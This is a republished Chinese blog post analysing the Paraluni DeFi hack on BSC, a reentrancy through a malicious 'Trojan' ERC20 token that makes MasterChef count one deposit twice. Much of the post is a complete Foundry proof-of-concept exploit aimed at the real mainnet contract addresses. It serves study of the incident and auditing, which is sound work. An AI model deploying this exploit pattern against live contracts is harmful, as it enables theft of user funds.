Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Paraluni Hack Reply

Paraluni Hack Reply

作者头像
Tiny熊
发布于 2022-04-08 06:17:33
发布于 2022-04-08 06:17:33
61800
代码可运行
举报
运行总次数:0
代码可运行

本文作者:bixia1994[1]

RefLink:

twitter[2]

tx[3]

Analyze:

整体的思路是特洛伊木马 token 的思路,重入 masterChef 中的 depositByAddLiquidity方法。该方法的核心错误逻辑在于:它只检查了 lpToken 的地址合法性,没有检查 token0,token1 的地址合法性。从而让 token0 可以做成一个特洛伊木马,在 token0 里面 transfer 一个合法的 token,从而成功添加流动性;而导致 deposit 重复计算。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
vars.oldBalance = IERC20(_lpAddress).balanceOf(address(this));
        (vars.amountA, vars.amountB, vars.liquidity) = paraRouter.addLiquidity(_tokens[0], _tokens[1], _amounts[0], _amounts[1], 1, 1, address(this), block.timestamp + 600);
        vars.newBalance = IERC20(_lpAddress).balanceOf(address(this));
        require(vars.newBalance > vars.oldBalance, "B:E");
        vars.liquidity = vars.newBalance.sub(vars.oldBalance);

        _deposit(_pid, liquidity, _user);

Type:

re-entry

Chain:

BSC

实现难点:

depositByAddLiquidity 的函数签名中,包含一个 address[2] memory _tokens; 如何正确构造一个 address[2] memroy 的结构

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function depositByAddLiquidity(uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts)

在 solidity 中,构造一个位于 memory 的动态数组,一般是通过如下的方式来构造:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
address[] memory _tokens = new address[](2 "] memory _tokens = new address[");
_tokens[0] = address(token0);
_tokens[1] = address(token1);

但是这样构造出来的_tokens 数组,其类型是:address[] memory 而不是 address[2] memory;

正确的构造方式应该如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
address[2] memory _tokens = [address(token0), adderss(token1)];

在特洛伊木马的 ERC20 token 中,trasnferFrom 按照 ERC20 的标准是需要 return 一个 bool 值的。因为我们在写特洛伊木马的 ERC20 token 是直接继承的 OpenZeppelin 的 ERC20,那么应该是直接调用 super.transferFrom();但问题在于是应该直接写 super.transferFrom 呢还是应该写 return super.transferFrom 呢?

即:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
        /// call from router.addLiquidity
        if(msg.sender == address(router)) {
            if (reentry == 0) {
                reentry++;
                if (shouldExecute) {
                    hack.hack2();
                }
               return super.transferFrom(_from, _to, _value);
               ///super.transferFrom(_from, _to, _value); ??


            }
            if (reentry == 1) {
                return super.transferFrom(_from, _to, _value);
               ///super.transferFrom(_from, _to, _value); ??
            }

        } else {
            return super.transferFrom(_from, _to, _value);
               ///super.transferFrom(_from, _to, _value); ??
        }



    }

经过测试,是应该写 return super.transferFrom 而不是直接的 super.transferFrom

这里的 super 应该理解为一个 inner function 的调用,所以对于一个 inner function,其返回值也只会返回给上层函数,所以这里还需要把 inner function 的返回值再返回出去,这样才能够真正的去 return 一个返回值,否则就会 return 一个默认值 false。

在具体实现的时候,还有一个难点,也是一个设计上的难点:一共有两个 token 的 transferFrom,是不是两个 token 都应该做特洛伊木马,还是只需要一个 token 做特洛伊木马,另一个 token 配合就行?

因为特洛伊木马 token 的调用关系如下:所以简单来说,另一个 token 必须要配合特洛伊木马 token 来执行,而自己不应该执行。所以需要在其中一个 token 加一个判断条件:shouldExecute, 对于特洛伊木马 token,shouldExeucte 应该为 true,对于配合执行的 token,shouldExecute 为 false

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
///     masterchef.depositByAddLiquidity(tokenA, tokenB)
///         paraRouter.addLiquidity(tokenA, tokenB)
///             paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
///                 tokenA.transferFrom(masterchef, pair, amount)
///                     masterchef.depositByAddLiquidity(usdt, busd)
///                         paraRouter.addLiquidity(usdt, busd)
///                             paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
///                                 usdt.transferFrom(masterchef, pair, amount)
///                                 busd.transferFrom(masterchef, pair, amount) // from another token, which must cooperate with te Trojan token
///                             pair.mint(lp) = amountA
///                         var.newBalance = amountA
///                     masterChef._deposit(_pid,amountA,_user)
///                 tokenB.transferFrom(masterChef, pair, amount) // from another token, which must cooperate with te Trojan token
///                 pair.mint(lp) = amountB  => useless!!!
///             var.newBalance = amountA!!!
///         masterchef._deposit(_pid,amountA,_user)

POC

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;


import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";

import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IMasterChef} from "./IMasterChef.sol";
import {IParaRouter} from "./IParaRouter.sol";


///妥妥的paradigm的特洛伊木马思路,关键点在于
///ERC20.transfer(user.transfer) 构造一个ERC20代币,在里面的transfer时,去deposit一个USDC的token,再次调用deposit,这样就可以重复计算两次balance
/// hack.hack()
///     masterchef.depositByAddLiquidity(tokenA, tokenB)
///         paraRouter.addLiquidity(tokenA, tokenB)
///             paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
///                 tokenA.transferFrom(masterchef, pair, amount)
///                     masterchef.depositByAddLiquidity(usdt, busd)
///                         paraRouter.addLiquidity(usdt, busd)
///                             paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
///                                 usdt.transferFrom(masterchef, pair, amount)
///                             pair.mint(lp) = amountA
///                         var.newBalance = amountA
///                     masterChef._deposit(_pid,amountA,_user)
///                 pair.mint(lp) = amountB  => useless!!!
///             var.newBalance = amountA!!!
///         masterchef._deposit(_pid,amountA,_user)
contract DamnToken is ERC20 {
    IERC20 public token;

    IParaRouter public router;
    Hack public hack;
    bool public shouldExecute = false;
    uint256 reentry = 0;
    constructor(
        string memory name,
        string memory symbol,
        IERC20 _token,
        IParaRouter _router,
        Hack _hack,
        bool _shouldExecute) ERC20(name, symbol)
    {
        token = _token;
        router = _router;
        hack = _hack;
        shouldExecute = _shouldExecute;
        _mint(msg.sender, 100000 ether );
    }
    /// @dev 特洛伊木马:
    function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
        /// call from router.addLiquidity
        if(msg.sender == address(router)) {
            if (reentry == 0) {
                reentry++;
                if (shouldExecute) {
                    hack.hack2();
                }
                return super.transferFrom(_from, _to, _value);

            }
            if (reentry == 1) {
                return token.transferFrom(_from, _to, _value);
            }

        } else {
            return super.transferFrom(_from, _to, _value);
        }



    }
}

contract Hack is DSTest, stdCheats {
    IMasterChef public masterChef;
    DamnToken public damnToken;
    DamnToken public damnToken2;
    IParaRouter public router;
    IERC20 public usdt;
    IERC20 public busd;
    Vm public vm = Vm(HEVM_ADDRESS);
    constructor(
        IMasterChef _masterChef,
        IParaRouter _router,
        IERC20 _usdt,
        IERC20 _busd)
    {
        masterChef = _masterChef;
        router = _router;
        damnToken = new DamnToken("DamnToken", "DT", usdt, router, this, true);
        damnToken2 = new DamnToken("DamnToken2", "DT2", busd, router, this, false);
        usdt = _usdt;
        busd = _busd;
        vm.label(address(damnToken), "damnToken");
        vm.label(address(damnToken2), "damnToken2");
    }
    function startHack() public {
        damnToken.approve(address(masterChef), type(uint256).max);
        damnToken2.approve(address(masterChef), type(uint256).max);
        usdt.approve(address(masterChef), type(uint256).max);
        busd.approve(address(masterChef), type(uint256).max);
        address[2] memory tokens = [address(damnToken), address(damnToken2)];
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
        masterChef.depositByAddLiquidity(18,tokens,amounts);
        //getUserInfo
        (uint256 amount, ) = masterChef.userInfo(18, address(this));
        //withdraw
        masterChef.withdraw(18, amount);
    }
    function hack2() public {
        address[2] memory tokens = [address(usdt), address(busd)];
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];

        masterChef.depositByAddLiquidity(18,tokens,amounts);
    }

}
contract ParaluniTest is DSTest , stdCheats {
    address public paraProxyAddr = 0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4;
    address public paraImplAddr = 0xA386F30853A7EB7E6A25eC8389337a5C6973421D;
    address public lpAddr = 0x3fD4FbD7a83062942b6589A2E9e2436dd8e134D4;
    address public pancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
    address public usdtAddr = 0x55d398326f99059fF775485246999027B3197955;
    address public busdAddr = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
    address public pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
    address public paraRouter = 0x48Bb5f07e78f32Ac7039366533D620C72c389797;
    address public ugt = 0xbc5db89CE5AB8035A71c6Cd1cd0F0721aD28B508;
    address public ubt = 0xcA2ca459Ec6E4F58AD88AEb7285D2e41747b9134;

    Hack public hack;

    address public alice = address(0xdeadbeef);

    Vm public vm = Vm(HEVM_ADDRESS);

    function setUp() public {
        hack = new Hack(
            IMasterChef(paraProxyAddr),
            IParaRouter(payable(paraRouter)),
            IERC20(usdtAddr),
            IERC20(busdAddr)
        );
        vm.label(address(hack), "hack");
        vm.label(paraProxyAddr, "paraProxy");
        vm.label(paraImplAddr, "paraImpl");
        vm.label(lpAddr, "lp");
        vm.label(pancakeFactory, "pancakeFactory");
        vm.label(usdtAddr, "usdt");
        vm.label(busdAddr, "busd");
        vm.label(pair, "pair");
        vm.label(paraRouter, "paraRouter");

        tip(usdtAddr, address(hack), 1000 ether);
        tip(busdAddr, address(hack), 1000 ether);

        emit log_named_uint("USDT balance of Hack", IERC20(usdtAddr).balanceOf(address(hack)));
        emit log_named_uint("BUSD balance of Hack", IERC20(busdAddr).balanceOf(address(hack)));

    }
    function testHack() public {
        hack.startHack();
    }




}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

twitter: https://twitter.com/peckshield/status/1502815435498176514

[3]

tx: https://versatile.blocksecteam.com/tx/bsc/0x70f367b9420ac2654a5223cc311c7f9c361736a39fd4e7dff9ed1b85bab7ad54

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
gymdefi hack
https://bscscan.com/address/0x1befe6f3f0e8edd2d4d15cae97baee01e51ea4a4#code https://versatile.blocksecteam.com/tx/bsc/0xa5b0246f2f8d238bb56c0ddb500b04bbe0c30db650e06a41e00b6a0fff11a7e5 https://twitter.com/BlockSecTeam/status/1512832398643265537
Tiny熊
2022/05/25
8120
SushiSwap协议分析
SushiSwap是一个分叉自Uniswap的去中心化交易协议,它在交易模式上延续了Uniswap的核心设计——AMM(自动做市商)模型,但与Uniswap不同之处在于SushiSwap增加了经济奖励模型,SushiSwap交易手续费为0.3%,其中0.25%直接分给发给流动性提供,0.05%买成SUSHI并分配给Sushi代币持有者(Uniswap是通过开关模式决定是否将0.05%的手续费给开发者团队),Sushi在每次分发时会预留10%给项目未来开发迭代及安全审计等。
Al1ex
2021/07/21
2.2K0
SushiSwap协议分析
BSC智能链挖矿dapp系统开发智能合约技术指南
币安智能链(Binance Smart Chain,简称 BSC )是一条以太坊虚拟机兼容,与币安链并行的区块链,是加密资产行业顶尖项目的测试和前沿探索。
开发v_hkkf5566
2022/10/25
1.3K0
DEX-如何防范夹子机器人攻击
上一篇《DEX-套利夹子机器人》 这一篇就写一下如何防范。 一般在编写智能合约时,防范夹子攻击是一个重要的考虑因素。夹子攻击通常发生在去中心化金融(DeFi)应用中,尤其是自动做市商(AMM)如Uniswap、SushiSwap等。为了防范这种攻击,可以从多个角度入手:
终有链响
2024/09/09
1430
BeansProtocol
https://etherscan.io/tx/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
Tiny熊
2022/05/25
3530
BeansProtocol
ERC-777标准规范
在经典的ERC-20场景中,如果用户想要授权给第三方账户或者智能合约进行转账操作,那么需要通过两个事务来完成整个转账的操作,在这里需要注意的是在授权是需要指定对应的amount数量,那么当每次进行授权转账时都需要进行一次查询或者让A用户再次授权给B用户:
Al1ex
2021/07/16
1.7K0
ERC-777标准规范
UniswapV2协议解析
本篇文章主要对Uniswap V2协议的工作原理、项目构成、源码实现等部分进行详细解读。
Al1ex
2021/07/21
3.6K2
UniswapV2协议解析
ERC777 功能型代币(通证)最佳实践
想必很多同学都已经使用过ERC20 创建过代币[1],或许已经被老板要求在ERC20代币上实现一些附加功能搞的焦头烂额,如果还有选择,一定要选择 ERC777 。
Tiny熊
2019/09/30
1.3K0
安全的处理 ERC20 转账(解决非标准 ERC20 问题)
你可能认为在 ERC-20 调用几个函数非常简单,对吗?很不幸,不是的。有些事情我们必须要考虑,而且还可能出现一些很常见的问题。
Tiny熊
2021/10/13
1.9K0
ERC-777标准规范
在经典的ERC-20场景中,如果用户想要授权给第三方账户或者智能合约进行转账操作,那么需要通过两个事务来完成整个转账的操作,在这里需要注意的是在授权是需要指定对应的amount数量,那么当每次进行授权转账时都需要进行一次查询或者让A用户再次授权给B用户:
Al1ex
2021/07/21
1.1K0
ETH 合约常用方法
contract Test { event NFTReceived(address operator, address from, uint256 tokenId, bytes data); function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4) { //only receive the
用户1941540
2021/07/13
1.1K0
技术分析 Lendf.me 被攻击,ERC777到底该不该用?
我在去年 9 月写过一篇ERC科普文章:ERC777 功能型代币(通证)最佳实践[1] ,文章里我推荐新开发的代币使用 ERC777 标准。
Tiny熊
2020/04/21
9300
技术分析  Lendf.me 被攻击,ERC777到底该不该用?
一个简单的以太坊合约让imtoken支持多签
熟悉比特币和以太坊的人应该都知道,在比特币中有2种类型的地址,1开头的是P2PKH,就是个人地址,3开头的是P2SH,一般是一个多签地址。所以在原生上比特币就支持多签。多签的一个优势就是可以多方对一笔付款达成共识,才能支付成功。比如3个人合伙开公司,他们的对外付款是比特币,为了防止管理财务的人作恶,于是他们可以创建2/3多签的地址,每个人持有一个私钥,对于每一笔付款,必须任意2个人都签名了才能支付出去。
深蓝studyzy
2022/06/16
1.3K0
智能合约中approve函数详解
我问他为什么不只用Token的标准approve 函数外部提前调用一次、然后直接执行第二步就行了、他们都有各自的理由、咱也不好细问。
终有链响
2024/08/06
2250
智能合约中approve函数详解
Uniswap V2 学习笔记2. 交易算法
大家好, 今天继续分享 Uniswap V2 的学习心得, 今天的内容是 Uniswap[2]的交易算法
Tiny熊
2022/05/25
1.9K0
C.R.E.A.M Hack with Yearn
看起来像是 cryUSD 合约对 yUSD 的定价问题。yUSD 是 Curve 里面的三币池啊,针对 yUSD 的定价是根据 D 来确定的。是很难操纵的啊。cryUSD -> yUSD -> yDAI+yUSDC+yUSDT 这里需要查看的是 Cream 里面怎么对于 yUSD 进行定价
Tiny熊
2022/11/07
5990
HACK Reply XCarnival
https://twitter.com/XCarnival_Lab/status/1541226298399653888
Tiny熊
2022/11/07
6620
HACK Reply XCarnival
[经典攻击事件分析]xSurge事件中的重入漏洞+套利的完美组合利用
xSurge 被攻击事件发生在 2021-08-16 日,距离今天已经近 1 年了,为什么还会选择这个事件进行分析?主要是这个攻击过程很有意思,有以下的几点思考
Tiny熊
2022/11/07
1.2K0
[经典攻击事件分析]xSurge事件中的重入漏洞+套利的完美组合利用
给合约升级一下
最近我在学习空投合约,学习资料中的合约样例非常的简单,就一个负责转账的函数,下面是合约代码:
jetsan
2022/09/30
3260
给合约升级一下
DAPP借贷理财挖矿系统开发逻辑分析(源代码)
智能合约真的智能吗?它让区块链网络上执行的交易效率更高,同时,由于它是无法修改的,也由此要谨慎查看。
开发v_hkkf5566
2023/03/06
4910
相关推荐
gymdefi hack
更多 >
加入讨论
的问答专区 >
1产品KOL擅长5个领域
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
    本文部分代码块支持一键运行,欢迎体验
    本文部分代码块支持一键运行,欢迎体验